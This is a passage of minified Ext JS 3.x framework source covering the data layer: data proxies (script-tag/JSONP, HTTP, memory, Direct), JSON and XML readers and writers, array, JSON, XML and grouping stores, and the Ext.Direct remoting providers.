received invalid data from server. Please see docs for DataReader#update and review your DataReader configuration.", realize:"#realize was called with invalid remote-data. Please see the docs for DataReader#realize and review your DataReader configuration.", "invalid-response":"#readResponse received an invalid response from the server."}}); Ext.data.DataWriter = function (a) { Ext.apply(this, a) }; Ext.data.DataWriter.prototype = {writeAllFields:false, listful:false, apply:function (e, g, d, a) { var c = [], b = d + "Record"; if (Ext.isArray(a)) { Ext.each(a, function (h) { c.push(this[b](h)) }, this) } else { if (a instanceof Ext.data.Record) { c = this[b](a) } } this.render(e, g, c) }, render:Ext.emptyFn, updateRecord:Ext.emptyFn, createRecord:Ext.emptyFn, destroyRecord:Ext.emptyFn, toHash:function (g, c) { var e = g.fields.map, d = {}, b = (this.writeAllFields === false && g.phantom === false) ? g.getChanges() : g.data, a; Ext.iterate(b, function (i, h) { if ((a = e[i])) { d[a.mapping ? a.mapping : a.name] = h } }); if (g.phantom) { if (g.fields.containsKey(this.meta.idProperty) && Ext.isEmpty(g.data[this.meta.idProperty])) { delete d[this.meta.idProperty] } } else { d[this.meta.idProperty] = g.id } return d }, toArray:function (b) { var a = []; Ext.iterate(b, function (d, c) { a.push({name:d, value:c}) }, this); return a }}; Ext.data.DataProxy = function (a) { a = a || {}; this.api = a.api; this.url = a.url; this.restful = a.restful; this.listeners = a.listeners; this.prettyUrls = a.prettyUrls; this.addEvents("exception", "beforeload", "load", "loadexception", "beforewrite", "write"); Ext.data.DataProxy.superclass.constructor.call(this); try { Ext.data.Api.prepare(this) } catch (b) { if (b instanceof Ext.data.Api.Error) { b.toConsole() } } Ext.data.DataProxy.relayEvents(this, ["beforewrite", "write", "exception"]) }; Ext.extend(Ext.data.DataProxy, Ext.util.Observable, {restful:false, setApi:function () { if (arguments.length == 1) { var a = Ext.data.Api.isValid(arguments[0]); if (a === true) { this.api = arguments[0] } else { throw new Ext.data.Api.Error("invalid", a) } } else { if (arguments.length == 2) { if (!Ext.data.Api.isAction(arguments[0])) { throw new Ext.data.Api.Error("invalid", arguments[0]) } this.api[arguments[0]] = arguments[1] } } Ext.data.Api.prepare(this) }, isApiAction:function (a) { return(this.api[a]) ? true : false }, request:function (e, b, g, a, h, d, c) { if (!this.api[e] && !this.load) { throw new Ext.data.DataProxy.Error("action-undefined", e) } g = g || {}; if ((e === Ext.data.Api.actions.read) ? this.fireEvent("beforeload", this, g) : this.fireEvent("beforewrite", this, e, b, g) !== false) { this.doRequest.apply(this, arguments) } else { h.call(d || this, null, c, false) } }, load:null, doRequest:function (e, b, g, a, h, d, c) { this.load(g, a, h, d, c) }, onRead:Ext.emptyFn, onWrite:Ext.emptyFn, buildUrl:function (d, b) { b = b || null; var c = (this.conn && this.conn.url) ? this.conn.url : (this.api[d]) ? this.api[d].url : this.url; if (!c) { throw new Ext.data.Api.Error("invalid-url", d) } var e = null; var a = c.match(/(.*)(\.json|\.xml|\.html)$/); if (a) { e = a[2]; c = a[1] } if ((this.restful === true || this.prettyUrls === true) && b instanceof Ext.data.Record && !b.phantom) { c += "/" + b.id } return(e === null) ? c : c + e }, destroy:function () { this.purgeListeners() }}); Ext.apply(Ext.data.DataProxy, Ext.util.Observable.prototype); Ext.util.Observable.call(Ext.data.DataProxy); Ext.data.DataProxy.Error = Ext.extend(Ext.Error, {constructor:function (b, a) { this.arg = a; Ext.Error.call(this, b) }, name:"Ext.data.DataProxy"}); Ext.apply(Ext.data.DataProxy.Error.prototype, {lang:{"action-undefined":"DataProxy attempted to execute an API-action but found an undefined url / function. Please review your Proxy url/api-configuration.", "api-invalid":"Received an invalid API-configuration. Please ensure your proxy API-configuration contains only the actions from Ext.data.Api.actions."}}); Ext.data.Request = function (a) { Ext.apply(this, a) }; Ext.data.Request.prototype = {action:undefined, rs:undefined, params:undefined, callback:Ext.emptyFn, scope:undefined, reader:undefined}; Ext.data.Response = function (a) { Ext.apply(this, a) }; Ext.data.Response.prototype = {action:undefined, success:undefined, message:undefined, data:undefined, raw:undefined, records:undefined}; Ext.data.ScriptTagProxy = function (a) { Ext.apply(this, a); Ext.data.ScriptTagProxy.superclass.constructor.call(this, a); this.head = document.getElementsByTagName("head")[0] }; Ext.data.ScriptTagProxy.TRANS_ID = 1000; Ext.extend(Ext.data.ScriptTagProxy, Ext.data.DataProxy, {timeout:30000, callbackParam:"callback", nocache:true, doRequest:function (e, g, d, h, j, k, l) { var c = Ext.urlEncode(Ext.apply(d, this.extraParams)); var b = this.buildUrl(e, g); if (!b) { throw new Ext.data.Api.Error("invalid-url", b) } b = Ext.urlAppend(b, c); if (this.nocache) { b = Ext.urlAppend(b, "_dc=" + (new Date().getTime())) } var a = ++Ext.data.ScriptTagProxy.TRANS_ID; var m = {id:a, action:e, cb:"stcCallback" + a, scriptId:"stcScript" + a, params:d, arg:l, url:b, callback:j, scope:k, reader:h}; window[m.cb] = this.createCallback(e, g, m); b += String.format("&{0}={1}", this.callbackParam, m.cb); if (this.autoAbort !== false) { this.abort() } m.timeoutId = this.handleFailure.defer(this.timeout, this, [m]); var i = document.createElement("script"); i.setAttribute("src", b); i.setAttribute("type", "text/javascript"); i.setAttribute("id", m.scriptId); this.head.appendChild(i); this.trans = m }, createCallback:function (d, b, c) { var a = this; return function (e) { a.trans = false; a.destroyTrans(c, true); if (d === Ext.data.Api.actions.read) { a.onRead.call(a, d, c, e) } else { a.onWrite.call(a, d, c, e, b) } } }, onRead:function (d, c, b) { var a; try { a = c.reader.readRecords(b) } catch (g) { this.fireEvent("loadexception", this, c, b, g); this.fireEvent("exception", this, "response", d, c, b, g); c.callback.call(c.scope || window, null, c.arg, false); return } if (a.success === false) { this.fireEvent("loadexception", this, c, b); this.fireEvent("exception", this, "remote", d, c, b, null) } else { this.fireEvent("load", this, b, c.arg) } c.callback.call(c.scope || window, a, c.arg, a.success) }, onWrite:function (h, g, c, b) { var a = g.reader; try { var d = a.readResponse(h, c) } catch (i) { this.fireEvent("exception", this, "response", h, g, d, i); g.callback.call(g.scope || window, null, d, false); return } if (!d.success === true) { this.fireEvent("exception", this, "remote", h, g, d, b); g.callback.call(g.scope || window, null, d, false); return } this.fireEvent("write", this, h, d.data, d, b, g.arg); g.callback.call(g.scope || window, d.data, d, true) }, isLoading:function () { return this.trans ? true : false }, abort:function () { if (this.isLoading()) { this.destroyTrans(this.trans) } }, destroyTrans:function (b, a) { this.head.removeChild(document.getElementById(b.scriptId)); clearTimeout(b.timeoutId); if (a) { window[b.cb] = undefined; try { delete window[b.cb] } catch (c) { } } else { window[b.cb] = function () { window[b.cb] = undefined; try { delete window[b.cb] } catch (d) { } } } }, handleFailure:function (a) { this.trans = false; this.destroyTrans(a, false); if (a.action === Ext.data.Api.actions.read) { this.fireEvent("loadexception", this, null, a.arg) } this.fireEvent("exception", this, "response", a.action, {response:null, options:a.arg}); a.callback.call(a.scope || window, null, a.arg, false) }, destroy:function () { this.abort(); Ext.data.ScriptTagProxy.superclass.destroy.call(this) }}); Ext.data.HttpProxy = function (a) { Ext.data.HttpProxy.superclass.constructor.call(this, a); this.conn = a; this.conn.url = null; this.useAjax = !a || !a.events; var c = Ext.data.Api.actions; this.activeRequest = {}; for (var b in c) { this.activeRequest[c[b]] = undefined } }; Ext.extend(Ext.data.HttpProxy, Ext.data.DataProxy, {getConnection:function () { return this.useAjax ? Ext.Ajax : this.conn }, setUrl:function (a, b) { this.conn.url = a; if (b === true) { this.url = a; this.api = null; Ext.data.Api.prepare(this) } }, doRequest:function (g, d, i, c, b, e, a) { var h = {method:(this.api[g]) ? this.api[g]["method"] : undefined, request:{callback:b, scope:e, arg:a}, reader:c, callback:this.createCallback(g, d), scope:this}; if (i.jsonData) { h.jsonData = i.jsonData } else { if (i.xmlData) { h.xmlData = i.xmlData } else { h.params = i || {} } } this.conn.url = this.buildUrl(g, d); if (this.useAjax) { Ext.applyIf(h, this.conn); if (this.activeRequest[g]) { } this.activeRequest[g] = Ext.Ajax.request(h) } else { this.conn.request(h) } this.conn.url = null }, createCallback:function (b, a) { return function (e, d, c) { this.activeRequest[b] = undefined; if (!d) { if (b === Ext.data.Api.actions.read) { this.fireEvent("loadexception", this, e, c) } this.fireEvent("exception", this, "response", b, e, c); e.request.callback.call(e.request.scope, null, e.request.arg, false); return } if (b === Ext.data.Api.actions.read) { this.onRead(b, e, c) } else { this.onWrite(b, e, c, a) } } }, onRead:function (d, h, b) { var a; try { a = h.reader.read(b) } catch (g) { this.fireEvent("loadexception", this, h, b, g); this.fireEvent("exception", this, "response", d, h, b, g); h.request.callback.call(h.request.scope, null, h.request.arg, false); return } if (a.success === false) { this.fireEvent("loadexception", this, h, b); var c = h.reader.readResponse(d, b); this.fireEvent("exception", this, "remote", d, h, c, null) } else { this.fireEvent("load", this, h, h.request.arg) } h.request.callback.call(h.request.scope, a, h.request.arg, a.success) }, onWrite:function (g, i, c, b) { var a = i.reader; var d; try { d = a.readResponse(g, c) } catch (h) { this.fireEvent("exception", this, "response", g, i, c, h); i.request.callback.call(i.request.scope, null, i.request.arg, false); return } if (d.success === true) { this.fireEvent("write", this, g, d.data, d, b, i.request.arg) } else { this.fireEvent("exception", this, "remote", g, i, d, b) } i.request.callback.call(i.request.scope, d.data, d, d.success) }, destroy:function () { if (!this.useAjax) { this.conn.abort() } else { if (this.activeRequest) { var b = Ext.data.Api.actions; for (var a in b) { if (this.activeRequest[b[a]]) { Ext.Ajax.abort(this.activeRequest[b[a]]) } } } } Ext.data.HttpProxy.superclass.destroy.call(this) }}); Ext.data.MemoryProxy = function (b) { var a = {}; a[Ext.data.Api.actions.read] = true; Ext.data.MemoryProxy.superclass.constructor.call(this, {api:a}); this.data = b }; Ext.extend(Ext.data.MemoryProxy, Ext.data.DataProxy, {doRequest:function (b, c, a, d, h, i, j) { a = a || {}; var k; try { k = d.readRecords(this.data) } catch (g) { this.fireEvent("loadexception", this, null, j, g); this.fireEvent("exception", this, "response", b, j, null, g); h.call(i, null, j, false); return } h.call(i, k, j, true) }}); Ext.data.Types = new function () { var a = Ext.data.SortTypes; Ext.apply(this, {stripRe:/[\$,%]/g, AUTO:{convert:function (b) { return b }, sortType:a.none, type:"auto"}, STRING:{convert:function (b) { return(b === undefined || b === null) ? "" : String(b) }, sortType:a.asUCString, type:"string"}, INT:{convert:function (b) { return b !== undefined && b !== null && b !== "" ? parseInt(String(b).replace(Ext.data.Types.stripRe, ""), 10) : (this.useNull ? null : 0) }, sortType:a.none, type:"int"}, FLOAT:{convert:function (b) { return b !== undefined && b !== null && b !== "" ? parseFloat(String(b).replace(Ext.data.Types.stripRe, ""), 10) : (this.useNull ? null : 0) }, sortType:a.none, type:"float"}, BOOL:{convert:function (b) { return b === true || b === "true" || b == 1 }, sortType:a.none, type:"bool"}, DATE:{convert:function (c) { var d = this.dateFormat; if (!c) { return null } if (Ext.isDate(c)) { return c } if (d) { if (d == "timestamp") { return new Date(c * 1000) } if (d == "time") { return new Date(parseInt(c, 10)) } return Date.parseDate(c, d) } var b = Date.parse(c); return b ? new Date(b) : null }, sortType:a.asDate, type:"date"}}); Ext.apply(this, {BOOLEAN:this.BOOL, INTEGER:this.INT, NUMBER:this.FLOAT}) }; Ext.data.JsonWriter = Ext.extend(Ext.data.DataWriter, {encode:true, encodeDelete:false, constructor:function (a) { Ext.data.JsonWriter.superclass.constructor.call(this, a) }, render:function (c, d, b) { if (this.encode === true) { Ext.apply(c, d); c[this.meta.root] = Ext.encode(b) } else { var a = Ext.apply({}, d); a[this.meta.root] = b; c.jsonData = a } }, createRecord:function (a) { return this.toHash(a) }, updateRecord:function (a) { return this.toHash(a) }, destroyRecord:function (b) { if (this.encodeDelete) { var a = {}; a[this.meta.idProperty] = b.id; return a } else { return b.id } }}); Ext.data.JsonReader = function (a, b) { a = a || {}; Ext.applyIf(a, {idProperty:"id", successProperty:"success", totalProperty:"total"}); Ext.data.JsonReader.superclass.constructor.call(this, a, b || a.fields) }; Ext.extend(Ext.data.JsonReader, Ext.data.DataReader, {read:function (a) { var b = a.responseText; var c = Ext.decode(b); if (!c) { throw {message:"JsonReader.read: Json object not found"} } return this.readRecords(c) }, readResponse:function (e, b) { var h = (b.responseText !== undefined) ? Ext.decode(b.responseText) : b; if (!h) { throw new Ext.data.JsonReader.Error("response") } var a = this.getRoot(h), g = this.getSuccess(h); if (g && e === Ext.data.Api.actions.create) { var d = Ext.isDefined(a); if (d && Ext.isEmpty(a)) { throw new Ext.data.JsonReader.Error("root-empty", this.meta.root) } else { if (!d) { throw new Ext.data.JsonReader.Error("root-undefined-response", this.meta.root) } } } var c = new Ext.data.Response({action:e, success:g, data:(a) ? this.extractData(a, false) : [], message:this.getMessage(h), raw:h}); if (Ext.isEmpty(c.success)) { throw new Ext.data.JsonReader.Error("successProperty-response", this.meta.successProperty) } return c }, readRecords:function (a) { this.jsonData = a; if (a.metaData) { this.onMetaChange(a.metaData) } var m = this.meta, h = this.recordType, b = h.prototype.fields, l = b.items, i = b.length, j; var g = this.getRoot(a), e = g.length, d = e, k = true; if (m.totalProperty) { j = parseInt(this.getTotal(a), 10); if (!isNaN(j)) { d = j } } if (m.successProperty) { j = this.getSuccess(a); if (j === false || j === "false") { k = false } } return{success:k, records:this.extractData(g, true), totalRecords:d} }, buildExtractors:function () { if (this.ef) { return } var l = this.meta, h = this.recordType, e = h.prototype.fields, k = e.items, j = e.length; if (l.totalProperty) { this.getTotal = this.createAccessor(l.totalProperty) } if (l.successProperty) { this.getSuccess = this.createAccessor(l.successProperty) } if (l.messageProperty) { this.getMessage = this.createAccessor(l.messageProperty) } this.getRoot = l.root ? this.createAccessor(l.root) : function (g) { return g }; if (l.id || l.idProperty) { var d = this.createAccessor(l.id || l.idProperty); this.getId = function (i) { var g = d(i); return(g === undefined || g === "") ? null : g } } else { this.getId = function () { return null } } var c = []; for (var b = 0; b < j; b++) { e = k[b]; var a = (e.mapping !== undefined && e.mapping !== null) ? e.mapping : e.name; c.push(this.createAccessor(a)) } this.ef = c }, simpleAccess:function (b, a) { return b[a] }, createAccessor:function () { var a = /[\[\.]/; return function (c) { if (Ext.isEmpty(c)) { return Ext.emptyFn } if (Ext.isFunction(c)) { return c } var b = String(c).search(a); if (b >= 0) { return new Function("obj", "return obj" + (b > 0 ? "." : "") + c) } return function (d) { return d[c] } } }(), extractValues:function (h, d, a) { var g, c = {}; for (var e = 0; e < a; e++) { g = d[e]; var b = this.ef[e](h); c[g.name] = g.convert((b !== undefined) ? b : g.defaultValue, h) } return c }}); Ext.data.JsonReader.Error = Ext.extend(Ext.Error, {constructor:function (b, a) { this.arg = a; Ext.Error.call(this, b) }, name:"Ext.data.JsonReader"}); Ext.apply(Ext.data.JsonReader.Error.prototype, {lang:{response:"An error occurred while json-decoding your server response", "successProperty-response":'Could not locate your "successProperty" in your server response. Please review your JsonReader config to ensure the config-property "successProperty" matches the property in your server-response. See the JsonReader docs.', "root-undefined-config":'Your JsonReader was configured without a "root" property. Please review your JsonReader config and make sure to define the root property. See the JsonReader docs.', "idProperty-undefined":'Your JsonReader was configured without an "idProperty" Please review your JsonReader configuration and ensure the "idProperty" is set (e.g.: "id"). See the JsonReader docs.', "root-empty":'Data was expected to be returned by the server in the "root" property of the response. Please review your JsonReader configuration to ensure the "root" property matches that returned in the server-response. See JsonReader docs.'}}); Ext.data.ArrayReader = Ext.extend(Ext.data.JsonReader, {readRecords:function (r) { this.arrayData = r; var l = this.meta, d = l ? Ext.num(l.idIndex, l.id) : null, b = this.recordType, q = b.prototype.fields, z = [], e = true, g; var u = this.getRoot(r); for (var y = 0, A = u.length; y < A; y++) { var t = u[y], a = {}, p = ((d || d === 0) && t[d] !== undefined && t[d] !== "" ? t[d] : null); for (var x = 0, m = q.length; x < m; x++) { var B = q.items[x], w = B.mapping !== undefined && B.mapping !== null ? B.mapping : x; g = t[w] !== undefined ? t[w] : B.defaultValue; g = B.convert(g, t); a[B.name] = g } var c = new b(a, p); c.json = t; z[z.length] = c } var h = z.length; if (l.totalProperty) { g = parseInt(this.getTotal(r), 10); if (!isNaN(g)) { h = g } } if (l.successProperty) { g = this.getSuccess(r); if (g === false || g === "false") { e = false } } return{success:e, records:z, totalRecords:h} }}); Ext.data.ArrayStore = Ext.extend(Ext.data.Store, {constructor:function (a) { Ext.data.ArrayStore.superclass.constructor.call(this, Ext.apply(a, {reader:new Ext.data.ArrayReader(a)})) }, loadData:function (e, b) { if (this.expandData === true) { var d = []; for (var c = 0, a = e.length; c < a; c++) { d[d.length] = [e[c]] } e = d } Ext.data.ArrayStore.superclass.loadData.call(this, e, b) }}); Ext.reg("arraystore", Ext.data.ArrayStore); Ext.data.SimpleStore = Ext.data.ArrayStore; Ext.reg("simplestore", Ext.data.SimpleStore); Ext.data.JsonStore = Ext.extend(Ext.data.Store, {constructor:function (a) { Ext.data.JsonStore.superclass.constructor.call(this, Ext.apply(a, {reader:new Ext.data.JsonReader(a)})) }}); Ext.reg("jsonstore", Ext.data.JsonStore); Ext.data.XmlWriter = function (a) { Ext.data.XmlWriter.superclass.constructor.apply(this, arguments); this.tpl = (typeof(this.tpl) === "string") ? new Ext.XTemplate(this.tpl).compile() : this.tpl.compile() }; Ext.extend(Ext.data.XmlWriter, Ext.data.DataWriter, {documentRoot:"xrequest", forceDocumentRoot:false, root:"records", xmlVersion:"1.0", xmlEncoding:"ISO-8859-15", tpl:'<\u003fxml version="{version}" encoding="{encoding}"\u003f><{documentRoot}><{name}>{value}<{root}><{parent.record}><{name}>{value}', render:function (b, c, a) { c = this.toArray(c); b.xmlData = this.tpl.applyTemplate({version:this.xmlVersion, encoding:this.xmlEncoding, documentRoot:(c.length > 0 || this.forceDocumentRoot === true) ? this.documentRoot : false, record:this.meta.record, root:this.root, baseParams:c, records:(Ext.isArray(a[0])) ? a : [a]}) }, createRecord:function (a) { return this.toArray(this.toHash(a)) }, updateRecord:function (a) { return this.toArray(this.toHash(a)) }, destroyRecord:function (b) { var a = {}; a[this.meta.idProperty] = b.id; return this.toArray(a) }}); Ext.data.XmlReader = function (a, b) { a = a || {}; Ext.applyIf(a, {idProperty:a.idProperty || a.idPath || a.id, successProperty:a.successProperty || a.success}); Ext.data.XmlReader.superclass.constructor.call(this, a, b || a.fields) }; Ext.extend(Ext.data.XmlReader, Ext.data.DataReader, {read:function (a) { var b = a.responseXML; if (!b) { throw {message:"XmlReader.read: XML Document not available"} } return this.readRecords(b) }, readRecords:function (d) { this.xmlData = d; var a = d.documentElement || d, c = Ext.DomQuery, g = 0, e = true; if (this.meta.totalProperty) { g = this.getTotal(a, 0) } if (this.meta.successProperty) { e = this.getSuccess(a) } var b = this.extractData(c.select(this.meta.record, a), true); return{success:e, records:b, totalRecords:g || b.length} }, readResponse:function (g, b) { var e = Ext.DomQuery, h = b.responseXML, a = h.documentElement || h; var c = new Ext.data.Response({action:g, success:this.getSuccess(a), message:this.getMessage(a), data:this.extractData(e.select(this.meta.record, a) || e.select(this.meta.root, a), false), raw:h}); if (Ext.isEmpty(c.success)) { throw new Ext.data.DataReader.Error("successProperty-response", this.meta.successProperty) } if (g === Ext.data.Api.actions.create) { var d = Ext.isDefined(c.data); if (d && Ext.isEmpty(c.data)) { throw new Ext.data.JsonReader.Error("root-empty", this.meta.root) } else { if (!d) { throw new Ext.data.JsonReader.Error("root-undefined-response", this.meta.root) } } } return c }, getSuccess:function () { return true }, buildExtractors:function () { if (this.ef) { return } var l = this.meta, h = this.recordType, e = h.prototype.fields, k = e.items, j = e.length; if (l.totalProperty) { this.getTotal = this.createAccessor(l.totalProperty) } if (l.successProperty) { this.getSuccess = this.createAccessor(l.successProperty) } if (l.messageProperty) { this.getMessage = this.createAccessor(l.messageProperty) } this.getRoot = function (g) { return(!Ext.isEmpty(g[this.meta.record])) ? g[this.meta.record] : g[this.meta.root] }; if (l.idPath || l.idProperty) { var d = this.createAccessor(l.idPath || l.idProperty); this.getId = function (g) { var i = d(g) || g.id; return(i === undefined || i === "") ? null : i } } else { this.getId = function () { return null } } var c = []; for (var b = 0; b < j; b++) { e = k[b]; var a = (e.mapping !== undefined && e.mapping !== null) ? e.mapping : e.name; c.push(this.createAccessor(a)) } this.ef = c }, createAccessor:function () { var a = Ext.DomQuery; return function (b) { if (Ext.isFunction(b)) { return b } switch (b) { case this.meta.totalProperty: return function (c, d) { return a.selectNumber(b, c, d) }; break; case this.meta.successProperty: return function (d, e) { var c = a.selectValue(b, d, true); var g = c !== false && c !== "false"; return g }; break; default: return function (c, d) { return a.selectValue(b, c, d) }; break } } }(), extractValues:function (h, d, a) { var g, c = {}; for (var e = 0; e < a; e++) { g = d[e]; var b = this.ef[e](h); c[g.name] = g.convert((b !== undefined) ? b : g.defaultValue, h) } return c }}); Ext.data.XmlStore = Ext.extend(Ext.data.Store, {constructor:function (a) { Ext.data.XmlStore.superclass.constructor.call(this, Ext.apply(a, {reader:new Ext.data.XmlReader(a)})) }}); Ext.reg("xmlstore", Ext.data.XmlStore); Ext.data.GroupingStore = Ext.extend(Ext.data.Store, {constructor:function (d) { d = d || {}; this.hasMultiSort = true; this.multiSortInfo = this.multiSortInfo || {sorters:[]}; var e = this.multiSortInfo.sorters, c = d.groupField || this.groupField, b = d.sortInfo || this.sortInfo, a = d.groupDir || this.groupDir; if (c) { e.push({field:c, direction:a}) } if (b) { e.push(b) } Ext.data.GroupingStore.superclass.constructor.call(this, d); this.addEvents("groupchange"); this.applyGroupField() }, remoteGroup:false, groupOnSort:false, groupDir:"ASC", clearGrouping:function () { this.groupField = false; if (this.remoteGroup) { if (this.baseParams) { delete this.baseParams.groupBy; delete this.baseParams.groupDir } var a = this.lastOptions; if (a && a.params) { delete a.params.groupBy; delete a.params.groupDir } this.reload() } else { this.sort(); this.fireEvent("datachanged", this) } }, groupBy:function (e, a, d) { d = d ? (String(d).toUpperCase() == "DESC" ? "DESC" : "ASC") : this.groupDir; if (this.groupField == e && this.groupDir == d && !a) { return } var c = this.multiSortInfo.sorters; if (c.length > 0 && c[0].field == this.groupField) { c.shift() } this.groupField = e; this.groupDir = d; this.applyGroupField(); var b = function () { this.fireEvent("groupchange", this, this.getGroupState()) }; if (this.groupOnSort) { this.sort(e, d); b.call(this); return } if (this.remoteGroup) { this.on("load", b, this, {single:true}); this.reload() } else { this.sort(c); b.call(this) } }, sort:function (h, c) { if (this.remoteSort) { return Ext.data.GroupingStore.superclass.sort.call(this, h, c) } var g = []; if (Ext.isArray(arguments[0])) { g = arguments[0] } else { if (h == undefined) { g = this.sortInfo ? [this.sortInfo] : [] } else { var e = this.fields.get(h); if (!e) { return false } var b = e.name, a = this.sortInfo || null, d = this.sortToggle ? this.sortToggle[b] : null; if (!c) { if (a && a.field == b) { c = (this.sortToggle[b] || "ASC").toggle("ASC", "DESC") } else { c = e.sortDir } } this.sortToggle[b] = c; this.sortInfo = {field:b, direction:c}; g = [this.sortInfo] } } if (this.groupField) { g.unshift({direction:this.groupDir, field:this.groupField}) } return this.multiSort.call(this, g, c) }, applyGroupField:function () { if (this.remoteGroup) { if (!this.baseParams) { this.baseParams = {} } Ext.apply(this.baseParams, {groupBy:this.groupField, groupDir:this.groupDir}); var a = this.lastOptions; if (a && a.params) { a.params.groupDir = this.groupDir; delete a.params.groupBy } } }, applyGrouping:function (a) { if (this.groupField !== false) { this.groupBy(this.groupField, true, this.groupDir); return true } else { if (a === true) { this.fireEvent("datachanged", this) } return false } }, getGroupState:function () { return this.groupOnSort && this.groupField !== false ? (this.sortInfo ? this.sortInfo.field : undefined) : this.groupField }}); Ext.reg("groupingstore", Ext.data.GroupingStore); Ext.data.DirectProxy = function (a) { Ext.apply(this, a); if (typeof this.paramOrder == "string") { this.paramOrder = this.paramOrder.split(/[\s,|]/) } Ext.data.DirectProxy.superclass.constructor.call(this, a) }; Ext.extend(Ext.data.DirectProxy, Ext.data.DataProxy, {paramOrder:undefined, paramsAsHash:true, directFn:undefined, doRequest:function (b, c, a, e, k, l, n) { var j = [], h = this.api[b] || this.directFn; switch (b) { case Ext.data.Api.actions.create: j.push(a.jsonData); break; case Ext.data.Api.actions.read: if (h.directCfg.method.len > 0) { if (this.paramOrder) { for (var d = 0, g = this.paramOrder.length; d < g; d++) { j.push(a[this.paramOrder[d]]) } } else { if (this.paramsAsHash) { j.push(a) } } } break; case Ext.data.Api.actions.update: j.push(a.jsonData); break; case Ext.data.Api.actions.destroy: j.push(a.jsonData); break } var m = {params:a || {}, request:{callback:k, scope:l, arg:n}, reader:e}; j.push(this.createCallback(b, c, m), this); h.apply(window, j) }, createCallback:function (d, a, b) { var c = this; return function (e, g) { if (!g.status) { if (d === Ext.data.Api.actions.read) { c.fireEvent("loadexception", c, b, g, null) } c.fireEvent("exception", c, "remote", d, b, g, null); b.request.callback.call(b.request.scope, null, b.request.arg, false); return } if (d === Ext.data.Api.actions.read) { c.onRead(d, b, e, g) } else { c.onWrite(d, b, e, g, a) } } }, onRead:function (g, e, a, d) { var b; try { b = e.reader.readRecords(a) } catch (c) { this.fireEvent("loadexception", this, e, d, c); this.fireEvent("exception", this, "response", g, e, d, c); e.request.callback.call(e.request.scope, null, e.request.arg, false); return } this.fireEvent("load", this, d, e.request.arg); e.request.callback.call(e.request.scope, b, e.request.arg, true) }, onWrite:function (g, d, a, c, b) { var e = d.reader.extractData(d.reader.getRoot(a), false); var h = d.reader.getSuccess(a); h = (h !== false); if (h) { this.fireEvent("write", this, g, e, c, b, d.request.arg) } else { this.fireEvent("exception", this, "remote", g, d, a, b) } d.request.callback.call(d.request.scope, e, c, h) }}); Ext.data.DirectStore = Ext.extend(Ext.data.Store, {constructor:function (a) { var b = Ext.apply({}, {batchTransactions:false}, a); Ext.data.DirectStore.superclass.constructor.call(this, Ext.apply(b, {proxy:Ext.isDefined(b.proxy) ? b.proxy : new Ext.data.DirectProxy(Ext.copyTo({}, b, "paramOrder,paramsAsHash,directFn,api")), reader:(!Ext.isDefined(b.reader) && b.fields) ? new Ext.data.JsonReader(Ext.copyTo({}, b, "totalProperty,root,idProperty"), b.fields) : b.reader})) }}); Ext.reg("directstore", Ext.data.DirectStore); Ext.Direct = Ext.extend(Ext.util.Observable, {exceptions:{TRANSPORT:"xhr", PARSE:"parse", LOGIN:"login", SERVER:"exception"}, constructor:function () { this.addEvents("event", "exception"); this.transactions = {}; this.providers = {} }, addProvider:function (e) { var c = arguments; if (c.length > 1) { for (var d = 0, b = c.length; d < b; d++) { this.addProvider(c[d]) } return } if (!e.events) { e = new Ext.Direct.PROVIDERS[e.type](e) } e.id = e.id || Ext.id(); this.providers[e.id] = e; e.on("data", this.onProviderData, this); e.on("exception", this.onProviderException, this); if (!e.isConnected()) { e.connect() } return e }, getProvider:function (a) { return this.providers[a] }, removeProvider:function (b) { var a = b.id ? b : this.providers[b]; a.un("data", this.onProviderData, this); a.un("exception", this.onProviderException, this); delete this.providers[a.id]; return a }, addTransaction:function (a) { this.transactions[a.tid] = a; return a }, removeTransaction:function (a) { delete this.transactions[a.tid || a]; return a }, getTransaction:function (a) { return this.transactions[a.tid || a] }, onProviderData:function (d, c) { if (Ext.isArray(c)) { for (var b = 0, a = c.length; b < a; b++) { this.onProviderData(d, c[b]) } return } if (c.name && c.name != "event" && c.name != "exception") { this.fireEvent(c.name, c) } else { if (c.type == "exception") { this.fireEvent("exception", c) } } this.fireEvent("event", c, d) }, createEvent:function (a, b) { return new Ext.Direct.eventTypes[a.type](Ext.apply(a, b)) }}); Ext.Direct = new Ext.Direct(); Ext.Direct.TID = 1; Ext.Direct.PROVIDERS = {}; Ext.Direct.Transaction = function (a) { Ext.apply(this, a); this.tid = ++Ext.Direct.TID; this.retryCount = 0 }; Ext.Direct.Transaction.prototype = {send:function () { this.provider.queueTransaction(this) }, retry:function () { this.retryCount++; this.send() }, getProvider:function () { return this.provider }}; Ext.Direct.Event = function (a) { Ext.apply(this, a) }; Ext.Direct.Event.prototype = {status:true, getData:function () { return this.data }}; Ext.Direct.RemotingEvent = Ext.extend(Ext.Direct.Event, {type:"rpc", getTransaction:function () { return this.transaction || Ext.Direct.getTransaction(this.tid) }}); Ext.Direct.ExceptionEvent = Ext.extend(Ext.Direct.RemotingEvent, {status:false, type:"exception"}); Ext.Direct.eventTypes = {rpc:Ext.Direct.RemotingEvent, event:Ext.Direct.Event, exception:Ext.Direct.ExceptionEvent}; Ext.direct.Provider = Ext.extend(Ext.util.Observable, {priority:1, constructor:function (a) { Ext.apply(this, a); this.addEvents("connect", "disconnect", "data", "exception"); Ext.direct.Provider.superclass.constructor.call(this, a) }, isConnected:function () { return false }, connect:Ext.emptyFn, disconnect:Ext.emptyFn}); Ext.direct.JsonProvider = Ext.extend(Ext.direct.Provider, {parseResponse:function (a) { if (!Ext.isEmpty(a.responseText)) { if (typeof a.responseText == "object") { return a.responseText } return Ext.decode(a.responseText) } return null }, getEvents:function (j) { var g = null; try { g = this.parseResponse(j) } catch (h) { var d = new Ext.Direct.ExceptionEvent({data:h, xhr:j, code:Ext.Direct.exceptions.PARSE, message:"Error parsing json response: \n\n " + g}); return[d] } var c = []; if (Ext.isArray(g)) { for (var b = 0, a = g.length; b < a; b++) { c.push(Ext.Direct.createEvent(g[b])) } } else { c.push(Ext.Direct.createEvent(g)) } return c }}); Ext.direct.PollingProvider = Ext.extend(Ext.direct.JsonProvider, {priority:3, interval:3000, constructor:function (a) { Ext.direct.PollingProvider.superclass.constructor.call(this, a); this.addEvents("beforepoll", "poll") }, isConnected:function () { return !!this.pollTask }, connect:function () { if (this.url && !this.pollTask) { this.pollTask = Ext.TaskMgr.start({run:function () { if (this.fireEvent("beforepoll", this) !== false) { if (typeof this.url == "function") { this.url(this.baseParams) } else { Ext.Ajax.request({url:this.url, callback:this.onData, scope:this, params:this.baseParams}) } } }, interval:this.interval, scope:this}); this.fireEvent("connect", this) } else { if (!this.url) { throw"Error initializing 